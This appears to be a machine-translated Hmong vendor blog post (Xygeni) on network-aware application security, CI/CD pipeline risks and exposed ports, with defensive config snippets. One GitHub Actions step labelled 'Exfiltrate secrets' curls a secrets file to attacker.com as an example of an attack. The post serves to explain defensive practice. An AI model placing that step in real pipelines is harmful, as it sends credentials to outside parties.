Cov khoom siv hauv network feem ntau raug kho zoo li kev xav tom qab: "Peb nyob hauv huab, peb muaj Kubernetes, muaj ib lub firewall qhov twg." Tab sis lub siab xav no tuaj yeem tig mus rau qhov txaus ntshai sai, tshwj xeeb tshaj yog thaum daim ntawv thov nws tus kheej dhau los ua qhov txuas tsis muaj zog.
Qhov Chaw Tsis Pom Kev Ntawm Code Thiab Network Infrastructure
Lub luag haujlwm kev ruaj ntseg feem ntau tsis sib haum. Cov neeg tsim khoom tsom mus rau cov yam ntxwv xa khoom; lawv xav tias pab pawg tsim kho vaj tse muaj kev ruaj ntseg. Lub caij no, cov pab pawg infra xav tias daim ntawv thov tau ua kom ruaj khov los ntawm kev tsim. Qhov kev sib txuas no tsim ib qho chaw dig muag, ib qho uas cov neeg tawm tsam sai sai siv.
Piv txwv ntawm lub ntiaj teb tiag: A CI/CD pipeline ua yuam kev teeb tsa ib puag ncig stagingIb qho kev pabcuam sab hauv, uas yuav tsum tau cais tawm, raug tso rau hauv qhov chaw rau lub network. Daim ntawv thov raug xa mus nrog qhov chaw nres nkoj qhib thiab tsis muaj kev txwv tsis pub tawm mus. Tsis muaj leej twg luam theej duab ib puag ncig rau cov kev pabcuam uas raug nthuav tawm ua ntej tso tawm. Qhov no tsis yog qhov teeb meem theoretical; nws yog qhov ua tsis tiav ntawm kev tsim qauv network ruaj ntseg yooj yim.
Dab tsi ua tsis tiav:
- Tsis muaj kev cai lij choj tawm mus: thaum qhov kev pabcuam tau ua tiav, nws tuaj yeem tham nrog txhua yam.
- Tsis muaj kev tshuaj xyuas kev raug mob hauv kev ntsuas theem: lub qhov rooj qhib tsis tau pom.
Qhov no qhia tau tias vim li cas cov khoom siv hauv network tsis txaus rau nws tus kheej. Daim ntawv thov thiab pipeline yuav tsum ua kom muaj kev ruaj ntseg.
Kev ruaj ntseg hauv network yog dab tsi hauv qhov no? Nws tsis yog tsuas yog txoj cai firewall lossis subnet ntiag tug xwb. Nws yog kev nkag siab txog koj cov code ua haujlwm li cas hauv runtime environments, scanning rau exposures ua ntej deployment, thiab ua kom muaj kev coj ua network nruj thaum lub sijhawm tsim.
Qhov no yog qhov uas AppSec uas paub txog network haum rau. Nws tsis nres ntawm scanning qhov code. Nws saib seb code, infra, thiab CI/CD sib tshuam kom pom cov kev pheej hmoo hauv lub ntiaj teb tiag.
Qhov DevSecOps Paradox: "Tab sis Peb Muaj Firewalls" Tsis Yog Network Security
Koj nyob tom qab VPC. Muaj ib txoj cai firewall. Lub thawv nyob rau ntawm ib qho subnet ntiag tug. Tab sis tsis muaj ib qho ntawm qhov ntawd tseem ceeb thaum lub app qhia txog cov interfaces rhiab heev.
Piv txwv:
- Ib lub thoob S3 raug teeb tsa tsis raug raws li pej xeem, tab sis technically "tom qab" lub network ntiag tug.
- Ib qho API sab hauv raug nthuav tawm los ntawm kev nkag mus tsis raug ntawm Kubernetes.
Qhov kev xav tias cov khoom siv hauv network tiv thaiv kev ua yuam kev ntawm theem app yog qub dhau lawm. Kev tsim qauv network ruaj ntseg tsuas yog ua haujlwm thaum cov lej app hwm cov ciam teb.
Thaum Cov Code App Ua Rau Kev Tsim Kho Network Ruaj Ntseg
Qee qhov kev ruaj ntseg loj tshaj plaws pib ua qhov tsis zoo me me hauv cov lej app:
Kev khi rau 0.0.0.0: Qhov no qhia txog cov kev pabcuam ntawm txhua qhov interfaces, txawm tias nyob hauv cov thawv sab hauv xwb. Tej zaum nws yuav zoo hauv kev tsim kho, tab sis yog tias qhov no ua rau nws tsim tawm, nws hloov pauv kev pabcuam ntiag tug mus rau hauv kev pabcuam pej xeem yam tsis muaj lus ceeb toom.
🔒 Lwm txoj kev nyab xeeb:
# Secure example ports: - containerPort: 8080 hostPort: 8080 hostIP: 127.0.0.1- Cov pob khoom sab nraud uas tso tawm cov HTTP servers los ntawm lub neej ntawd. Cov no feem ntau tau ntxiv rau qhov yooj yim thiab kev ua haujlwm, tab sis qhib qhov chaw rau kev nkag mus tsis tau xav tseg.
- Cov cim qhia hardcoded nkag tau los ntawm cov kev sab hauv. Yog tias tus neeg tawm tsam mus txog ib qho kev pabcuam sab hauv, lawv tuaj yeem rho tawm cov cim thiab nkag mus rau lwm tus.
steps: - name: Exfiltrate secrets run: curl -d @secrets.txt https://attacker.comCov no tsis yog cov teeb meem ntug. Lawv tshwm sim tiag tiag pipelines, nyob rau hauv ib puag ncig tiag tiag. Cov khoom siv network yuav tsis cawm koj ntawm qhov tsis ruaj ntseg defaults hauv koj cov code.
CI/CD Pipelines: Kev hem thawj zais rau Network Infrastructure
Koj lub tsev pipeline tej zaum yuav yog qhov tshwj xeeb tshaj plaws ntawm koj lub pawg, thiab qhov tsis muaj kev nyab xeeb tsawg tshaj plaws. Cov neeg tawm tsam tsom mus rau CI/CD ib puag ncig tsis yog tsuas yog cuam tshuam kev tsim kho xwb, tab sis kuj tig mus tob dua rau hauv koj cov khoom siv.
Kev tawm tsam ntws:
→ Ua kom tus CI khiav lossis GitHub Action puas tsuaj.
→ Txuas rau cov kev pabcuam sab hauv los ntawm kev qhib network.
→ Siv cov tokens uas khaws cia lossis hardcoded rov qab.
→ Luam theej cov IP sab hauv kom pom cov kev pabcuam nyob.
→ Txav mus rau sab nraud kom nkag mus rau cov kev pabcuam tseem ceeb lossis cov ntaub ntawv tseem ceeb.
Qhov kev txav no feem ntau ua tau los ntawm:
- Cov neeg khiav uas muaj kev tso cai ntau dhau uas tso cai rau kev txav mus rau sab.
- Kev siv daim ntawv pov thawj dua tshiab ntawm cov haujlwm lossis cov haujlwm.
- Kev tawm mus tsis txwv uas cia cov haujlwm raug cuam tshuam tham nrog txhua tus tswv tsev sab hauv.
Qhov kho tau? Kev cais txoj haujlwm, kev nkag mus rau hauv network tsis muaj kev ntseeg siab, kev tso cai tsawg kawg nkaus rau cov neeg khiav, thiab cov cai tawm mus nruj heev. Yog tsis muaj qhov no, kev tsim qauv network ruaj ntseg raug puas tsuaj los ntawm koj cov cuab yeej automation.
Qhov kho tau? Kev cais txoj haujlwm, kev nkag mus rau hauv network uas tsis muaj kev ntseeg siab, thiab cov cai tawm mus nruj heev rau cov neeg khiav.
Ntsaub mus CI/CD Pipelines Qhov Tsis Muaj Zog
koj CI/CD pipeline tej zaum yuav yog qhov txuas tsis muaj zog tshaj plaws hauv koj txoj saw hlau kev ruaj ntseg, thiab cov neeg tawm tsam paub qhov ntawd. Tshawb nrhiav seb Poisoned li cas Pipeline Kev Ua Haujlwm (PPE) hloov kev siv tshuab tsis siv neeg uas ntseeg siab rau hauv chaw ua si ntawm tus neeg nyiag khoom, thiab koj tuaj yeem ua dab tsi los kaw lawv!
Cov Kev Pabcuam Qhib, Cov Chaw Nres Nkoj Uas Pom Tseeb, thiab Cov Kev Pheej Hmoo rau Kev Ruaj Ntseg Hauv Network
Cov thawv xa khoom sai, tab sis feem ntau lawv xa khoom tsis ruaj ntseg:
- Redis khiav ntawm cov chaw nres nkoj uas twb muaj lawm.
- Cov neeg sawv cev sab hauv tau tso tseg mloog ntawm 8080.
- Cov pob khoom qhia cov neeg mloog yam tsis tau xav txog.
Ib qho kev tsim qauv network zoo thiab ruaj ntseg xav tias tej yam no tshwm sim. Nws thaiv lawv los ntawm lub neej ntawd, ceeb toom thaum lawv tshwm sim, thiab suav nrog kev lees paub qhov chaw nres nkoj uas raug nthuav tawm ua ib feem ntawm CI.
Kev Koom Tes Tsim Kev Ruaj Ntseg Hauv Network rau hauv Dev Workflows
AppSec tsis yog tsuas yog kev tshuaj xyuas cov lej static xwb lawm. Yuav kom ntes tau qhov kev pheej hmoo tiag tiag, koj yuav tsum muab SAST/SCA nrog kev tshuaj xyuas network thiab kev lees paub qhov raug.
Kev Ua Haujlwm: Tsim → Kev Ntsuas Static → Kev Ntsuas Infra → Kev Txheeb Xyuas Cov Chaw Nres Nkoj Uas Pom Zoo → Siv Cov Cai
Piv txwv li: Siv cov cai GitHub Actions kom ua tsis tiav cov kev tsim uas cov chaw nres nkoj tsis tsim nyog raug nthuav tawm.
jobs: check-open-ports: runs-on: ubuntu-latest steps: - name: Run container run: docker run -d -p 8080:8080 my-app - name: Scan for exposed ports run: | if docker port $(docker ps -q) | grep -q 8080; then echo "Unnecessary port exposed. Failing build."; exit 1; fi Txoj cai yooj yim no ua kom muaj kev huv huv ntawm kev raug mob los ntawm kev koom ua ke ntawm kev luam theej qhov chaw nres nkoj rau hauv cov txheej txheem CI.
pom zoo Kev coj ua zoo tshaj plaws ntawm DevSecOps: Ua ke SAST los nrhiav cov qhov tsis zoo ntawm cov lej nrog kev tshuaj xyuas cov khoom siv uas ntes tau qhov teeb tsa tsis raug. Txoj hauv kev ob txheej no muab qhov pom kev xav tau rau kev tsim qauv network niaj hnub ruaj ntseg.
Qhov no yog DevSecOps uas muaj cov hniav. Nws yog li cas kev ruaj ntseg hauv network thiaj li los ua ib feem ntawm koj qhov tseeb pipeline.
Los ntawm Guardrails rau Kev Tsim Kho Vaj Tse: Tsim Kev Ruaj Ntseg Hauv Network
Pib siv cov kev ruaj ntseg defaults hauv qhov chaw dev, tsis yog hauv kev tsim khoom xwb. Guardrails yog qhov pib zoo, tab sis kev tswj hwm theem architecture ua rau kev ruaj ntseg ruaj khov.
Cov kauj ruam ua tiav:
- Thaiv 0.0.0.0 kev khi nrog kev hloov pauv ntawm lub vev xaib nkag mushooks hauv Kubernetes. Qhov no tiv thaiv kev cuam tshuam kev pabcuam tsis muaj kev nyab xeeb ua ntej nws tshwm sim.
- Txwv tsis pub cov tsheb khiav tawm ntawm cov thawv tsim los ntawm lub neej ntawd kom tsis txhob muaj cov ntaub ntawv ntws tsis raug cai.
- siv OPA Gatekeeper los siv cov cai xws li kev faib tawm hauv network, kev teev cov kev pabcuam dawb, lossis cov lus piav qhia txog kev nkag mus.
Qhia txog txoj cai ua tus lej ua ib qho kev siv tau dua thiab tswj tau qhov version. Los ntawm kev sau cov cai (piv txwv li, tsis lees txais txhua qhov kev pabcuam yam tsis muaj daim ntawv lo networkPolicy), cov pab pawg tuaj yeem siv cov cai sib xws, tshwj xeeb rau ib puag ncig thoob plaws kev tsim kho, kev npaj ua ntej, thiab kev tsim khoom.
Txoj cai ua tus lej tsis yog tsuas yog scalable, nws yog auditable, portable, thiab integrates ncaj qha nrog CI/CD thiab cov txheej txheem ua haujlwm ntawm cov khoom siv hauv paus. Qhov ntawd yog qhov ua rau nws tseem ceeb rau kev siv kev ruaj ntseg hauv network tag nrho.
Ib Lub Network Infrastructure Zoo Tsis Tuaj Yeem Txuag Tau Cov Code App Phem
Koj lub firewall yuav tsis nres lub Node.js server uas qhia txog txoj kev debug. Koj lub VPC yuav tsis nres lub pob khoom uas pib lub proxy sab hauv. Yog tias lub app qhia nws, lub network tso cai rau nws.
Qhov ntawd yog qhov tseeb tseem ceeb: kev tsim qauv network ruaj ntseg ua tsis tiav thaum cov lej app ua txhaum cov cai.
Kev Ruaj Ntseg Hauv Network Yog Dab Tsi Yog Tsis Muaj Kev Cai Tswjfwm?
Nws yog ib qho lus cog tseg cuav. Kev ruaj ntseg hauv network tsuas yog ua haujlwm thaum daim ntawv thov, pipeline, thiab cov khoom siv hauv paus txhua yam rub mus rau tib qho kev taw qhia. Txawm li cas los xij, feem ntau, kev coj ua kev ruaj ntseg tsom mus rau ntug, tsis yog sab hauv.
Cov haujlwm CI uas muaj qhov tsis zoo tuaj yeem ua rau cov neeg tawm tsam tsis paub txog lub network foothold, tsim cov neeg khiav nrog kev tso cai ntau dhau lossis tsis muaj kev txwv egress ua haujlwm ua qhov rooj tom qab.
Cov kev teeb tsa tsis ruaj ntseg hauv cov pob khoom qhib, cov kev pabcuam uas khi rau txhua qhov interfaces, cov servers HTTP embedded, lossis cov proxies sab hauv uas tsis tau txheeb xyuas, ua rau koj txoj kev tsim network ruaj ntseg tsis muaj kev cuam tshuam thiab sai sai.
Cov kev xav qub txeeg qub teg kuj txaus ntshai ib yam nkaus. Lub tswv yim hais tias qee yam yog "sab hauv" lossis "ntiag tug" hauv cov qauv huab-native yog qhov yuam kev. Hauv cov chaw niaj hnub no, "sab hauv" feem ntau txhais tau tias "nkag tau yog tias koj paub tus IP."
Yog tsis muaj kev txwv nruj thiab kev tshuaj xyuas ua ntej, cov kev ua yuam kev me me yuav tshwm sim:
- Ib qho debug interface hauv dev ua rau nws mus rau staging.
- Ib qho chaw nres nkoj saib xyuas raug nthuav tawm ntawm kev nkag mus tsis raug.
- Ib lub cuab yeej sab hauv qhib rau lub ntiaj teb vim tsis muaj leej twg kuaj xyuas cov khi ua ntej.
Kev ruaj ntseg hauv network yog dab tsi yog tias nws tuaj yeem hla dhau los ntawm kev vam khom package.json?
Kev tsim lub network ruaj ntseg tiag tiag pib hauv cov lej thiab nyob los ntawm pipelineKev qhuab ntuas tsis yog xaiv tau; nws yog qhov tseem ceeb kom ua kom tag nrho pawg neeg tiv thaiv tau.
Xygeni Pab Kom Muaj Kev Ruaj Ntseg Hauv Network Los Ntawm AppSec Li Cas
Xygeni coj kev paub txog network AppSec ncaj qha rau hauv koj lub CI/CD pipelines, nrhiav pom cov cwj pwm txaus ntshai thaum lawv tshwm sim thiab ua kom cov cai tiv thaiv tsis siv neeg. Nws tsis tsuas yog vam khom kev luam theej code xwb; nws saib xyuas cov haujlwm tsim kho tiag tiag kom ntes tau qhov uas cov cuab yeej static tsis nco qab.
Xygeni ua dab tsi:
- Tshawb pom 0.0.0.0 kev khi thaum lub sijhawm tsim kho: Yog tias ib qho kev pabcuam khi rau txhua qhov interfaces, Xygeni cim qhov teeb meem thiab thaiv qhov kev sib koom ua ke. Nws tsa ib qho kev ceeb toom nrog qhov chaw ntawm cov ntaub ntawv, lub npe kev pabcuam, thiab cov lus qhia kho.
- Txheeb xyuas cov chaw nres nkoj sab hauv uas raug nthuav tawm los ntawm lub neej ntawd: Txawm tias cov kev pabcuam tsis yog rau pej xeem los xij, Xygeni tshuaj xyuas Dockerfiles thiab runtime configurations kom pom cov chaw nres nkoj qhib uas yuav tsum tau thaiv.
- Ceeb Toom txog cov haujlwm uas tso cai dhau: Xygeni luam theej koj qhov CI configuration rau cov neeg khiav uas tau tso cai ntau dhau, kev nkag mus rau hauv network dav dav, thiab cov tokens rov siv dua thoob plaws hauv cov haujlwm. Nws cuam tshuam qhov no nrog kev cuam tshuam kev pabcuam tiag tiag kom muab qhov tseem ceeb rau kev pheej hmoo.
Nrog cov peev xwm no, Xygeni siv txoj kev tsim lub network ruaj ntseg los ntawm kev siv tshuab, muab cov pab pawg nrog cov lus tawm tswv yim thaum ntxov, ua tau thaum lub sijhawm tsim kho, ua ntej cov khoom cuav tsis ruaj ntseg mus txog qhov tsim tawm.
Lub Tswv Yim Kawg: Nws Pib Nrog Code, Tsis Yog Firewalls
Koj tsis tuaj yeem siv kev ruaj ntseg network thaum kawg ntawm lub sijhawm pipeline thiab xav kom nws tuav tau. Kev ruaj ntseg tiag tiag, kev ruaj ntseg tiag tiag, muaj zog, thiab muaj kev ruaj ntseg puv ntoob, pib txij thaum sau cov code thiab txuas ntxiv mus txog kev tsim, sim, thiab xa tawm.
Txhua txheej tseem ceeb:
- Yog tias cov lej qhia txog cov interfaces los ntawm lub neej ntawd, lub network twb raug cuam tshuam lawm.
- Yog tias cov txheej txheem tsim kho tsis lees paub qhov qhib cov chaw nres nkoj, kev nthuav tawm yuav ploj mus.
- Yog hais tias lub pipeline tso cai rau cov haujlwm uas tau tso cai ntau dhau, qhov puag ncig dhau los ua tsis muaj txiaj ntsig.
Hauv lub ntiaj teb uas muaj kev xa tawm tas mus li, kev rov ua dua sai sai, thiab kev cia siab rau qhov qhib loj heev, kev xav tias lub network yuav kho dua qhov tsis ruaj ntseg yog qhov kev dag ntxias txaus ntshai. Kev ruaj ntseg hauv network tsis pib nrog firewalls. Nws pib hauv koj cov code, koj lub build, thiab koj pipeline. "
Qhov ntawd txhais tau tias yuav tsum siv AppSec uas paub txog network ua lub luag haujlwm tseem ceeb ntawm kev tsim kho. Qhov ntawd txhais tau tias yuav tsum koom ua ke cov kev kuaj xyuas kev ruaj ntseg thaum ntxov thiab ua kom muaj kev tsim qauv network ruaj ntseg ua ib feem ntawm txoj kev uas cov pab pawg xa cov code. Tsis muaj kev luv luv. Tsis muaj kev xav. Tsuas yog kev qhuab ntuas, kev pom tseeb, thiab kev ua haujlwm tsis siv neeg, txij thaum pib mus txog thaum kawg.
Koj tsis tuaj yeem siv kev ruaj ntseg hauv network. Nws yuav tsum yog ib feem ntawm koj txoj kev sau code, tsim software, thiab xa nws mus rau lwm tus. Ua kom nws paub txog network. Ua kom nws muaj kev nyab xeeb los ntawm lub neej ntawd. Thiab tsis txhob xav tias lub network yuav them rau cov teeb meem phem.cisions hauv code.
